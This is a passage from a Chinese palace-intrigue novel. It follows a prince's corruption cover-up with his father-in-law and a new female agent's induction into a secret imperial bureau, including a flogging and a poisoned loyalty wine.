萧回泄了口气,看向侍立的金吾卫,轻轻地摇了摇头。等他们再抬起大杖时,幅度明显变小了。萧锦就在一边望着萧沃,眼泪簌簌地掉。
今天萧回差点就把萧沃给打死了。
—
首辅府中,气氛凝重得能挤出水来。
赵鹤坐在正位,皱着眉头闭目。萧回则坐在偏位,不甘心地咬着后槽牙。
“殿下做错了很多事。”赵鹤睁开眼,幽幽地说,“闹成这样,就是您举棋不定的代价。”
“岳丈,这一切与本王何干?”萧回不满地说,“从一开始,我就不希望你们这么做,一旦东窗事发,我怎么办?”
“殿下是想跟我们割席吗?”赵鹤沉声道,“来不及了。”
“本王也没辙!”萧回愤怒地拍扶手,“父皇已经下令让乔竹心去查林汝为的奏本了,你不是说,那些奏本已经被拦在京外,已经烧了吗?那为何晦朔司中还有抄本?”
“我们的人的的确确把奏本拦在了京外,内阁也确实没收到原件。”赵鹤泄了口气,“估计林汝为一份奏本,分好几路往京城送,我们的人能拦住一份,但拦不住好几份。”
萧回捏捏自己的眉心:“晦朔司有抄本,但内阁没原件。原件要不在乔竹心手里,就是在父皇手里……父皇一早就知道本王在西北做的那些事,大哥今日告发我,也就是把秘密挑到了明面上来。”
赵鹤望向门外:“好在陛下最后选择了殿下。”
萧回问:“你们是不是往晦朔司大考中塞人了?”
赵鹤凝视他,默认了。
萧回:“她们参加了加试,对不对?”
赵鹤不语。
萧回的心咚咚直跳:“她们没有一个活下来,对吗?”
赵鹤绝望地闭上眼睛,默认了。
萧回讽刺地笑出了声:“怪不得父皇会选本王,怪不得萧沃会说什么‘天命’、‘选择’……”
赵鹤恍然大悟:“大殿下都跟您说了什么?”
萧回抱住了脑袋,他不甘心地锤脑门,不停地叹息:“怎么办……怎么办……”
“活下来的那个,是大殿下的人?”赵鹤恍然大悟,冷汗涔涔,“陛下一定都知道了
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,所以他要再选一次,如果这一局大殿下又胜了,殿下您将再无翻身之日。”
萧回沉默。
“陛下让您去西北查贪,我们正好可以借此机会,把西北的一切都抹平。”赵鹤理顺了思路,“我们会让西北那几个认下所有罪行,除夕前,此案一定会结案。”
萧回依然沉默。
赵鹤说:“您万万不可耽搁,当即刻动身,以雷霆手段查贪,动静闹得越大越好。”
“你说,父皇知道那事吗?”萧回抬眸望向赵鹤,双眼猩红。
“您且放心,陛下应该是不知道的。”赵鹤说,“晦朔司的手伸不到边境,而且,几个知道内情的,我早就派人去处理了,扫得干干净净。”
萧回呢喃道:“亡羊补牢……”
“为时不晚。”赵鹤说,“殿下,莫要担心。您别忘了,我们始终都有后手。萧沃没兵没权,不是您的对手。”
萧回向后倚:“对啊,他没兵没权,又是如何活到现在的?他无功有过,本王战功累累,但储位至今空悬。岳丈,你说他不是本王的对手,但本王为何心里发慌?”
赵鹤:“帝心难测。”
“在父皇眼里,我和他都是一样的。”萧回讽刺地说,“我们与父皇养的豹子没什么区别,他把我们放在一个笼子里,互相撕咬,直到一方咬死另一方,我们才配成为父皇的儿子。”
赵鹤听出他话中的悲哀,道:“天家父子一直如此。”
“可本王从来没有期待过那个位置。”萧回抬眸望向赵鹤,“比起多雾的上京,本王更喜欢天高气爽的边疆。”
赵鹤反问:“殿下说这些话,对得起皇后娘娘,对得起赵家吗?”
“自然对不起。”萧回说,“我为了皇位而生,你们都默认我会走到那个位置,把你们的欲念强加在本王的身上,不管本王愿不愿意,都把本王往上推。”
赵鹤腾的一下子站起来:“殿下!”
萧回继续说:“你们太强了,你们太可怕了,本王日日夜夜都怕追不上你们。”
赵鹤压着火说:“请殿下不要把今天的失败赖在我们头上。”
“我怕了!”萧回站起来,“你知道萧沃有多恐怖吗?他什么都做得出来,他比本王豁得出去!本王与他,在父皇心里都是一样的!这一局我或许会赢,那以后呢?一旦他知道我们的秘密,结果如何,本王真的不敢想。”
赵鹤问:“殿下什么意思?”
萧回说:“我们的错,总得有人来承担。岳丈,你也不希望照儿随本王去死吧。”
赵鹤讽刺道:“殿下的意思是,一旦东窗事发,由我……不,是赵家来承担一切罪责?”
“若连根拔起,母后也难逃一死。”萧回说,“岳丈更不希望母后死吧?”
赵鹤怒道:“赵家倒了,屹王府难道会独善其身?”
萧回不回答。
赵鹤说:“我不能拿全家上下几百条人命开玩笑。”
萧回嗤笑:“那岳丈最好不要让萧沃活着出宗正寺。”
“咕咕咕……”有信鸽停在了赵鹤的窗前。
萧回回眸瞥了一眼:“晦朔司来消息了。”
赵鹤剜了他一眼,匆匆过去拆信,眉头舒展开来:“她说,陛下密旨,奏本一事,不查了。”
“好啊,”萧回说,“这不正说明,父皇什么都知道吗?”
“殿下始终都处于上风。”赵鹤两指夹着字条,借烛火燃尽,“如今谈割席,不是时候。您且去西北查贪,宗正寺里那位,我自然会想办法。”
萧回盯着他的背影:“你最好说到做到。”
“不会扯上屹王府。”字条燃尽,赵鹤攥紧了拳头,“若真到了那一刻,我自会决断。”
“好。”萧回说,“本王相信岳丈。”
19. 司规
兰见春被分到了朔院甲处,成为了一个处理废纸的小吏。
甲处千户名为虞水,是兰见春的顶头上司。
处理的废件都是两年前的东西,各式各样的文件很多。兰见春需要筛选这些文件,将有用的东西留下,再将大部分无用的烧掉。
其实送到她这里的文件已经是其余部门审核过的,十有九成半都是无用的,但她仍然要审,职责所在。
兰见春的废件室有两层高,书架排得都很密,中间空隙只能通过一个人。她查看了书架编号,发现所有废件都已经按照年份、地区的顺序排列好。
她看到了来自潼裕的废件。
她翻开盛平八年的记录,恰好是林汝为的奏本,其中写了潼裕连旱月余、百姓艰难求生的事,另外又向陛下要了四万两白银的赈灾款,皇帝回批了一个“准”字。
兰见春确实记得盛平八年的旱,但她不记得朝廷有赈灾。
四万两白银去哪了?人间蒸发了?兰见春把废件又放了回去,这不能烧,这是潼裕官员贪腐的证据。
“兰见春。”敲门的是虞水,“晦朔司入司仪式就差你了,快些。”
兰见春慌张地把卷宗放回去,赶紧回应虞水:“来了!”
她擦擦汗,赶紧拉开了门:“千户!我就来。”
“快些,其他处的人都已经到了,”虞水小声说,“我们慢了,丢的可是朔院的脸。”
兰见春赶紧跑起来,两人很快就到了晦朔司前厅。乔竹心、左右分别是吴泪、连云栈。
乔竹心一脸欣赏地望着新进司的女儿们,听到脚步声,回头一看,来的正是虞水和兰见春。
她脸上的笑容消失了。
她认识兰见春,这就是那个赤手空拳对付两只豹子、最后全身而退的人。
吴泪给她们使了个眼色,示意她们快点回去。虞水吩咐兰见春站到左面队伍最末的位置,自己则与其他千户一样站在了三位大人的后面。
今年晦朔司进了二十个新人,其中文试的前十名进朔院,剩下的十个进晦院。
兰见春武试成绩突出,本该进晦院,但不知为何与文试成绩高的九个人一起进了朔院。
女官给每个新到晦朔司的人都斟了酒,兰见春是最后一个拿到酒杯的。凛冽的酒香扑鼻,她却感觉不对劲。端起杯仔细闻了闻,越发感觉这不是一般的酒。
乔竹心端起酒杯,吴泪、连云栈紧随其后,说:“恭喜诸位进入晦朔司。饮下这杯酒,我们便是一同为陛下分忧的同袍。”
说罢,她便饮下了酒。兰见春周围的人都喝,她也跟着把酒喝干了。
乔竹心确认每个人都饮下了酒,笑着说:“仰仗陛下恩德,才有了今日的晦朔司,才有我等的富贵荣华。望各位同仁日后处处以陛下为先,切莫做出悖逆陛下之事。不结党、不站队,尤其要远离诸位皇子。”
“是。”所有人齐声说。
兰见春躬身行礼,感觉乔竹心最后那句话就是对自己说的一样。
乔竹心继续说:“晦朔司内处处有眼睛,你们做的任何事,都逃不过陛下的眼睛。还望各位以大局为重,以自己的前途为重,莫要因为小恩小惠、家族利益而违背晦朔司约定。”
“是。”
“晦朔司的规矩,晚些会发到各位手上,各位要将其熟记于心。”乔竹心说,“有何不明白的,尽管问各处千户。”
“是。”
那杯酒下肚,兰见春感觉胃口火烧火燎的不舒服,她有些想吐,她猜是早晨吃坏了肚子。
等到乔竹心放她们走,兰见春赶紧去了趟茅厕吐了个干净。说来也怪,吐过之后就不难受了。
回废件室的路上,她看见虞水与甲处的官员急匆匆地去见了同知。她有些好奇,便跟了上去。
虞水瞧见她跟上来,也没说什么,领着她一块进了吴泪的书房。
吴泪说:“屹王殿下还有五日便要出发去潼裕,你得在他离京之前,把潼裕四年的文件都调出来。”
虞水惊讶地说:“同知,是所有吗?”
“对,所有。”吴泪说,“财政收支、官员升迁、兵马调动……能找到多少是多少,日后我们都要查。”
虞水犯了难:“甲处统共有十二名官员,恐怕我们还没查完,屹王殿下就回来了。”
吴泪看了一眼门,虞水赶紧去把门关上了。吴泪站在她跟前,小声说:“陛下吩咐屹王,每隔一天便向上京飞鸽传书,将所查内容汇报给朔院。我们可以据屹王的思路再查一遍。”
虞水小声说:“若是我们查的与殿下的结果不同,又当如何?”
吴泪肃声道:“我将如实报给陛下。”
“下官怕……”虞水说,“林汝为奏本一事,朔院就得罪了屹王府。这次查贪,陛下指定让屹王去查,我们再查,算不算违背圣意?”
吴泪:“违背圣意也要查,若上位怪罪下来,由我一人承担。”
“是。”虞水知道吴泪心意已决,她便不再多说什么,就要带着手下人离开这里。
兰见春跟在队伍的最后面,在吴泪的书房中逗留最久。
她原想现在就告诉吴泪自己的遭遇和在废件室的发现,又想到萧沃对她说的,不要轻信晦朔司的任何人,才决定跟着人一起离开。
皇帝为何让屹王去查,这不是自己查自己,给他机会全身而退么?那萧沃呢?这样的结果必然不是他想看到的,那他现在在哪?怎么样了?
“陛下肯定要废了岷王。”
兰见春激灵一下,余光一看,自己拐到了茅厕后面。
这里烟草味很浓,呛鼻子,有三个晦院的官员聚集在此处抽烟枪。
兰见春踮起脚,看见了她们的脸——是她的同期,都进了晦院。
兰见春藏在墙角里偷听她们说话,心就跟军营里的笳鼓一样“咚咚咚”地跳。皇帝要废了萧沃吗?皇帝不要他了吗?废了,那跟杀了他有什么区别?!大殿下呀,您到底干了什么!
“这可不能乱说,还没下旨呢。”
兰见春松了口气,心情稍微平复了些。还好,没下旨,这事还有缓。
“迟早的事。那天他干的事,简直惊世骇俗。”
兰见春的心又提到了嗓子眼,惊世骇俗?什么意思?!
“可惜呀!明明陛下都同意查潼裕贪腐了,虽说是自己人查自己人,但在岷王重压之下,屹王肯定能查出一批贪官来。”
“结果这还不同意,岷王居然当着百官的面,摘了乌纱帽脱了官服!胆大包天!照我看,陛下给他二十廷杖,打入宗正寺,都算是轻的!”
兰见春心想,廷杖?皇帝居然廷杖了皇长子?!当廷摘乌纱帽!萧沃,疯了吗!何至于如此鱼死网破!
“活该吗这不是?是,确实,陛下确是偏袒屹王。但这岷王不也是把陛下夹在火上烤么?”
兰见春咬紧了下嘴唇,心说:何至于此,何至于此?!怪不得那天晚上你愁眉不展,原来早就盘算好了背水一战!为什么不跟我说你要这么做,我肯定会拦着你,宁可这案子晚点查,不查到底,也不能把脸面跟命都搭进去呀!
“不光如此,岷王在宗正寺里还闹绝食,半步不肯退。要不是太医一直在旁边守着,估计早就归西了。”
兰见春心都要碎成末末被风吹走了。她知道萧沃这都是为了潼裕百姓,为了公道,可如此不要命地去争,兰见春是又为他愤慨,又为他感动,还为他不值。
她不禁问,这样不拿人当人的皇帝,这样挣命去争,真的有用吗?
“绝食这招对陛下根本没用。唉……可惜,岷王确实偏激,可他一心为公为民,到头来落居然得个这么个下场。”
兰见春心眼不好受。他劝自己要低调要蛰伏,自己却在朝堂上以命相搏。为何要这么拼命呢?
潼裕成百上千的官鱼肉百姓,当官的习以为常,我们也都司空见惯。有什么不公,有什么冤屈,我们自己去争就够了,你为何不好好享受你的锦衣玉食,却为我们闯这一滩浑水——
何以为报呢?
兰见春哽咽,萧沃出身在那样冷冰、残忍的皇宫,周围一圈豺狼虎豹,可他并没有变成如那些人一样的凉薄,而是长出了孤傲坚硬的骨头,长出了温烫丰满的血肉。
他拿平民百姓当人,在乎平头百姓的死活,还用命去为他们争一个公道。兰见春的心很烫,她流出眼泪,顿时感觉剩下的路不难走了,她愿意走下去了。
“你们说,陛下会不会废了他?”
“不确定。岷王为了潼裕百姓拼命,温如璋、海益等清流为他竭力争辩。但他当堂脱官袍、在宗正寺中绝食以威胁陛下,打的是陛下的脸。”
“朝中支持废黜殿下的,可比为他说话的人多得多……”
兰见春抓紧了墙壁,指甲刮下来了墙灰,在上面留下了清晰的痕迹。她愤怒,恨那些穿朝服的衣冠禽兽,恨他们为了一己私欲,合起伙来要摧毁一颗赤子之心。
“议论皇子权争,照司规,鞭二十,并逐出晦朔司。”
兰见春吓了一跳,微微探出头去看,说话的正是朔院同知吴泪,她盯着这几个人,神情严肃得好像在给谁上坟。
领头的那个跪下来,赶紧求饶:“同知!我们知错了!”
吴泪:“出来。”
她们纷纷说:“同知,真的知错了,
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您放过我们吧!”
吴泪突然大呵一声:“出来!”
这几个人不敢再求饶,纷纷灭了烟枪,拐出了小窄道。兰见春吓得往更深处去退,捂住了嘴巴,大气不敢出。
吴泪吩咐身后的虞水:“禀告司丞,本官抓到晦院的人议论皇子,让晦朔司所有官员来观刑。”
“是!”
“咚——咚——咚——”
三声钟声后,晦朔司所有官员聚集在院中空地内。乔竹心脸色如铁,身后是冷静的吴泪和敢怒不敢言的连云栈。
兰见春站在人群的最后,连头都不敢抬。
她听见乔竹心说:“晦朔司明令,禁止所有官员在司内议论皇子。你们几个明知故犯,不可轻饶。”
“饶命啊司丞!”那几个人齐声说。
“司丞,”连云栈说,“这几个孩子都是今年新来的,不清楚规矩难免犯错,既然吴同知骂也骂过,司丞就……免了她们的刑罚吧。”
乔竹心却说:“不可徇私。”
话音刚落,乔竹心的手下就拎着鞭子过来。
鞭子抽在人||肉上,那声音像崩断的弦。一开始,那几个人还喊叫几声,之后,兰见春就听不见她们的叫喊了。
她微微抬起头,看见台上那三人被打得皮开肉绽,白花花的皮肤裸露在外,血都晕透了藏蓝色官袍。
连云栈恨铁不成钢地盯着那三个人,又跟乔竹心求情:“司丞打也打了,就不要再把她们逐出司了吧。”
乔竹心盯着整个司的官员,一声不吭。
“她们好不容易才考进来,”连云栈小声说,“司丞,您就当是给孩子们一个悔过自新的机会,行吗?”
吴泪冷眼瞪连云栈的背影。
乔竹心:“取她们的令牌来。”
连云栈有些急了:“司丞!”
乔竹心:“取来!”
兰见春看着她把那三个人的令牌扔进了火盆。
“逐出晦朔司,永不可参加擢选大考。”乔竹心说,“拖出去。”
整个院子都鸦雀无声。
那几个人被拖走的时候,正好经过了兰见春,她不敢看她们的眼睛。
留给自己的结局是什么呢?是死无葬身之地吗?
兰见春很害怕。
这天晚上,吴泪把一沓厚厚的司规放在了兰见春的书桌上。
“司丞说,入司新人要将司规抄三遍。”
“谢谢同知。”兰见春说,“劳您特地跑一趟。”
吴泪看了眼外面,小声说:“其实今天那几个人,本可以从轻处罚。至少不会像现在这样,又丢了脸,又丢了差事。”
兰见春的笑容僵在脸上。
吴泪侧眼看她:“司丞是以儆效尤。”
兰见春战战兢兢地点头。
“晦朔司每年都会走很多人,死的死,走的走,这里日子不好过。”吴泪说,“那么多双眼睛盯着,你也不想死无葬身之地吧。”
兰见春额头渗出缜密的汗珠。死无葬身之地……难道,吴泪已经知道自己跟萧沃的关系了?
“你明白我的言外之意。”吴泪假装帮她整理桌上的废件。
兰见春咽了口唾沫,说:“是。”
“入司的那杯酒,”吴泪低声说,“是毒。”
兰见春猛然抬起头:“……毒?”
“解药在陛下手中,每个月,宫里都会派人送来解药。”吴泪说,“倘若陛下察觉到谁有二心,自然就断了解药。不出两个月,此人必死无疑。”
兰见春想起那三个被逐出司的官员。
“所以那三个人,活不成了。”吴泪哼了一声,她大概是也觉得悲凉吧,“不过,为人臣子,忠心是最起码的,对不对?前朝的官若有二心,不也是死路一条吗?”
吴泪是在点她,不要帮萧沃了。
原来萧沃嘱咐她的独善其身,是这个意思。他知道晦朔司的人不能与皇子有牵连——这在皇帝眼中,是“不忠”。
怪不得每次萧沃来找她都是在深夜,其实是怕连累她。兰见春心里越发悲凉,她想帮萧沃,萧沃拿她当人,她不想效忠于陛下,陛下不把所有人当人。
可她没有一点办法。
只要她还想继续往下查,想让屠杀吴沟村的人血债血偿,她就必须遵守规则,“悖逆”着良心活下去。
兰见春声音颤抖:“多谢同知提点。”
“那些人怎么样,与我们无关。”吴泪说,“我们晦朔司,只做帝王的刀。唯有如此,我们才能活。”
兰见春频频点头:“是,是……”
“言尽于此,”吴泪微微颔首,“你好自为之。”